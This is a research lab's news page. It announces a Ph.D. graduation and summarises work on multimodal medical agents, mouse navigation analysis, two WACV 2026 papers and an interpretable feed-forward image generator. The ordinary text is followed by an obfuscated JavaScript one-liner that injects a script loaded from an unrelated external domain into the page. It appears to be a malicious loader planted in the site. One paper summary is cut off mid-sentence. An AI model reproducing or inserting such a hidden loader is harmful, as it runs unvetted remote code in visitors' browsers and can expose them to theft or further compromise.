News

We would like to congratulate Kevin Yang for receiving his Ph.D. degree during the Viterbi Hooding Ceremony held on May 13, 2026, at the Bovard Auditorium. Here is a brief sharing of his Ph.D. experience at MCL:

My Ph.D. journey at the University of Southern California has been both challenging and rewarding. My dissertation, titled “Interpretable and Efficient Multimodal Data Interplay: Algorithms and Applications,” focuses on developing machine learning methods that better connect and understand information across different modalities, such as text and images. Through this research, I explored ways to improve the interpretability and efficiency of multimodal systems while designing algorithms that better align with human perception and understanding. This experience strengthened my passion for artificial intelligence and its potential to create meaningful real-world impact.

I am deeply grateful to my advisor, Professor C.-C. Jay Kuo, for his continuous guidance, encouragement, and support throughout my Ph.D. journey. His mentorship has profoundly influenced both my research perspective and personal growth. I would also like to sincerely thank my labmates for their collaboration, friendship, and inspiring discussions along the way. The supportive environment in our lab made challenging moments manageable and accomplishments even more meaningful. I am excited to continue this journey by joining LinkedIn as an AI Engineer in June 2026, where I hope to contribute to the development of impactful AI systems and applications. I will always cherish the experiences, lessons, and relationships built during my Ph.D. years.

Our recent work explores how multi-modality memory can improve medical agents for visual question answering. By storing and retrieving useful information from medical images, patient queries, and clinical reports, the agent can better understand complex cases and provide more accurate and context-aware responses. This direction shows the potential of memory-enhanced medical AI systems for supporting medical VQA tasks.

Understanding animal motion behavior is important for understanding how the brain organizes memory, decision-making, and goal-directed action. In our research, we study mouse navigation behavior using the Morris Water Maze (MWM), a widely used behavioral paradigm for investigating spatial learning and memory in rodents. While conventional measures such as escape latency and path length provide useful summaries of performance, they often do not fully capture the rich and dynamic nature of movement during navigation.

Our research focuses on understanding mouse motion behavior at a finer temporal scale. Instead of treating each trial as a single behavioral unit, we examine how navigation strategies evolve within a trial, since mice may shift among exploration, wall-following, scanning, circling, and more direct platform-oriented movement over time. These within-trial changes can offer deeper insight into learning processes, behavioral flexibility, and group differences that may be overlooked by aggregate metrics alone.

To support this goal, we develop an interpretable and lightweight computational framework for analyzing tracked trajectories from behavioral videos. Our approach analyzes motion continuously over time and identifies sub-trajectory-level navigational states. The pipeline first corrects for tracking irregularities through uniform resampling and smoothing, then derives geometry- and kinematics-based descriptors such as curvature, displacement, turning behavior, and target alignment. These features are mapped to human-readable behavioral categories through a hierarchical rule-based inference process, followed by temporal refinement to reduce fragmented or implausible label switching.

This work emphasizes interpretability and practical usability in neuroscience research. By providing point-wise annotations and visually verifiable outputs, the framework enables behavioral phenotyping and hypothesis-driven analysis of strategy transitions and learning dynamics.

MCL members, Jintang Xue and Kevin Yang, presented their papers at the Winter Conference on Applications of Computer Vision (WACV) 2026, Tucson, AZ, USA.

The title of Jintang et al.’s paper is “Descrip3D: Enhancing Large Language Model-based 3D Scene Understanding with Object-Level Text Descriptions”. Here is a brief summary:

“Understanding 3D scenes goes beyond simply recognizing objects; it requires reasoning about the spatial and semantic relationships between them. Current 3D scene-language models often struggle with this relational understanding, particularly when visual embeddings alone do not adequately convey the roles and interactions of objects. In this paper, we introduce Descrip3D, a novel and powerful framework that explicitly encodes the relationships between objects using natural language. Unlike previous methods that rely only on 2D and 3D embeddings, Descrip3D enhances each object with a textual description that captures both its intrinsic attributes and contextual relationships. These relational cues are incorporated into the model through a dual-level integration: embedding fusion and prompt-level injection. This allows for unified reasoning across various tasks such as grounding, captioning, and question answering, all without the need for task-specific heads or additional supervision. When evaluated on five benchmark datasets, including ScanRefer, Multi3DRefer, ScanQA, SQA3D, and Scan2Cap, Descrip3D consistently outperforms strong baseline models, demonstrating the effectiveness of language-guided relational representation for understanding complex indoor scenes.”

Kevin’s paper is entitled “SVD-Det: A Lightweight Framework for Video Forgery Detection Using Semanticand Visual Defect Cues”, co-authored with Tianyu Zhang, Feng Qian, Bing Yan, and C.-C. Jay Kuo. The summary goes as follows:

“With the rapid proliferation of AI-generated content (AIGC) on multimedia platforms, efficient and reliable video forgery detection has become increasingly important. Existing approaches often rely on either visual artifacts or semantic inconsistencies, but suffer from high computational costs, [...]

Although generative adversarial networks (GANs) and diffusion models achieve impressive realism through neural networks and backpropagation, the learned representations and latent spaces lack clear attribution and interpretability. Understanding the generation process requires auxiliary probing or post-hoc analysis. Empirical studies suggest that some models implicitly follow a coarse-to-fine generation mechanism, in which early stages determine the global structure and layout, and later stages progressively refine details and inject texture and style. This work explicitly formalizes this mechanism and presents a feed-forward image generation (FIG) process with well-defined objectives at each stage. FIG statistically models the lowest-resolution images and then progressively refines them. Unlike neural generative models, FIG provides explicit interpretability and attribution. Each generated region can be traced to its associated source and refinement. This property facilitates controllability, supports privacy-aware generation without retraining, and allows transparent manipulation of generated content. Compared to representative baselines based on GAN and diffusion, FIG achieves competitive visual quality, offers superior interpretability, and improves robustness in data-sparse regimes.

We introduced FIG, an interpretable and fully feed-forward image generation framework that formalizes the separation between global structure modeling and local detail refinement. FIG records pixel-level attribution throughout multi-resolution enhancement, enabling each synthesized detail to be attributed, controlled, or selectively modified. This design enables control over the global appearance, semantic attributes, and localized regions without affecting the rest of the image. Furthermore, the transparent retrieval process supports source-aware filtering, allowing selective exclusion of sensitive training samples without retraining. Extensive benchmark results demonstrate that FIG maintains competitive generation quality while offering these interpretability and controllability.
;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);